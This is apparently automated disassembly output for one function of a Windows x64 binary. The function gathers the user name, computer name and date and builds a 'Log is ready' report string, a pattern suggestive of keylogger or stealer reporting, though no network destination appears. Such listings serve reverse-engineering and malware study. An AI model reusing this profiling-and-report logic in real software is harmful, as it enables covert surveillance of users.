Function at 0x14000fc50
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x1400ec780]
xor rax, rsp
mov qword [rbp + 0x360], rax
xor r13d, r13d
mov dword [rbp + 0xc0], 0x101
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x150]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rbx, [r13 - 1]
xorps xmm0, xmm0
test eax, eax
je 0x14000fd90
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x150]
mov r8, rbx
inc r8
cmp word [rax + r8*2], r13w
jne 0x14000fcd4
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x80]
call fcn.140016890
nop
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rdx, qword [rbp + 0x80]
mov rax, qword [rbp + 0x90]
lea r8, [rdx + rax*2]
lea rdx, [rbp + 0x80]
cmova rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0xd0]
call fcn.140014b80
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x14000fd76
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fd71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108d0
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc420]
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0x80], r13w
jmp 0x14000fdbf
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r13
mov r8d, 7
lea rdx, str.Unknown
lea rcx, [rbp + 0xd0]
call fcn.1400037e0
nop
mov dword [rbp + 0xc8], reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xorps xmm0, xmm0
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r13
movups xmmword [rbp + 0xa0], xmm0
test eax, eax
je 0x14000fe12
lea rax, [rbp + 0x60]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000fe00
mov r8, rbx
lea rdx, [rbp + 0x60]
jmp 0x14000fe1f
mov r8d, 7
lea rdx, str.Unknown
lea rcx, [rbp + 0xa0]
call fcn.1400037e0
nop
lea rcx, [rbp + 0xf0]
call fcn.140003350
nop
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rcx, qword [rbp + 0xe0]
sub rax, rcx
cmp rax, 1
jb 0x1400108d6
lea r9, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova r9, qword [rbp + 0xd0]
mov qword [rsp + 0x30], 1
lea rbx, [0x1400dbc2c]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.140018710
nop
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rbp - 0x20]
call fcn.140013850
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 1
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140013850
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0x100]
lea rcx, [rbp + 0x80]
call fcn.140013850
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000ffdd
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ffd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108dc
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140010031
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001002c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108e2
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14001007f
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001007a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108e8
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rdx, qword [rbp + 0x110]
mov r12, qword [rbp + 0x120]
add r12, rdx
lea rdi, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rdi, qword [rbp + 0x110]
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
movabs r14, 0x7ffffffffffffffe
mov qword [rbp + 0x70], r13
cmp rdi, r12
jne 0x1400100f4
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], r13w
jmp 0x1400101e0
mov rax, r12
sub rax, rdi
mov rsi, r13
mov ebx, 7
mov qword [rbp + 0x78], rbx
cmp rax, r14
ja 0x1400108ee
cmp rax, rbx
jbe 0x1400101a0
mov rbx, rax
or rbx, 7
cmp rbx, r14
jbe 0x14001012d
mov rbx, r14
lea rcx, [r15 + r15]
jmp 0x140010152
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, r15
ja 0x1400108fa
add rcx, rcx
cmp rcx, 0x1000
jb 0x140010181
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400108fa
mov rcx, rax
call fcn.140084d88
mov rcx, rax
test rax, rax
je 0x1400108f4
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140010190
test rcx, rcx
je 0x14001018d
call fcn.140084d88
jmp 0x140010190
mov rax, r13
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x78], rbx
nop dword [rax + rax]
lea rcx, [rbp + 0x60]
cmp rbx, 7
cmova rcx, qword [rbp + 0x60]
movsx eax, byte [rdi]
mov word [rcx + rsi*2], ax
mov rsi, qword [rbp + 0x70]
inc rsi
mov qword [rbp + 0x70], rsi
inc rdi
cmp rdi, r12
je 0x1400101cd
mov rbx, qword [rbp + 0x78]
jmp 0x1400101a0
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rax, qword [rbp + 0x60]
mov word [rax + rsi*2], r13w
mov rax, qword [0x1400f00b0]
sub r14, rax
cmp r14, 1
jb 0x140010900
lea rbx, [0x1400f00a0]
mov r9, rbx
cmp qword [0x1400f00b8], 7
cmova r9, qword [0x1400f00a0]
mov qword [rsp + 0x30], 1
lea rcx, [0x1400dbc3c]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x40]
call fcn.1400183e0
nop
lea r9, [rbp + 0x60]
lea r8, [rbp + 0x40]
lea rcx, [rbp]
call fcn.1400181c0
nop
mov r8d, 4
lea rdx, [0x1400dbc30]
lea rcx, [rbp]
call fcn.1400134e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x1400102bf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400102ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010906
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc420]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r13w
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x140010312
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001030c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001090c
call fcn.140084d80
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x140010352
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001034d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010912
call fcn.140084d80
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rdx, qword [rbp + 0x130]
cmp qword [0x1400f00b8], 7
cmova rbx, qword [0x1400f00a0]
mov rcx, rbx
call fcn.14000faa0
test al, al
je 0x14001071d
mov rcx, qword [rbp + 0xe0]
sub r15, rcx
cmp r15, 0x18
jb 0x140010918
lea rax, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rax, qword [rbp + 0xd0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x18
lea r9, str.Log_is_ready:_nUsername:
lea rcx, [rbp + 0x20]
call fcn.140018710
nop
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str._nComputer_name:
lea rcx, [rbp + 0x20]
call fcn.140013850
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rbp - 0x40]
call fcn.140013850
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str._nDate_and_time:
lea rcx, [rbp - 0x60]
call fcn.140013850
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0x100]
lea rcx, [rbp - 0x80]
call fcn.140013850
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
xor r8d, r8d
lea rdx, [0x1400db1e0]
lea rcx, [rsp + 0x60]
call fcn.140013850
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140010579
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010574
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001091e
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400105c7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400105c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010924
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140010613
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001060e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001092a
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14001065f
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001065a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010930
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400106ab
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400106a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010936
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
lea rcx, [rbp + 0x60]
call fcn.14000f680
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x40]
call fcn.140013610
mov rcx, rax
call fcn.14000eeb0
movzx ebx, al
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14001071f
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010716
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001093c
call fcn.140084d80
jmp 0x14001071f
xor bl, bl
mov rdx, qword [rbp + 0x148]
cmp rdx, 7
jbe 0x140010766
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010760
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010942
call fcn.140084d80
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x1400107a7
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010948
call fcn.140084d80
movdqa xmm0, xmmword [0x1400dc430]
movdqu xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x1400107ff
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001094e
call fcn.140084d80
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x108], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14001085a
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010854
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010954
call fcn.140084d80
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140010897
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010892
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108ca
call fcn.140084d80
movzx eax, bl
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140084d60
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14008e520
int3
call fcn.14008e520
nop
call fcn.140001c40
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
int3
call fcn.140001c40
int3
call fcn.14008e520
int3
call fcn.140001ba0
nop
call fcn.140001c40
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
int3
call fcn.140001c40
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
nop
call fcn.14008e520
int3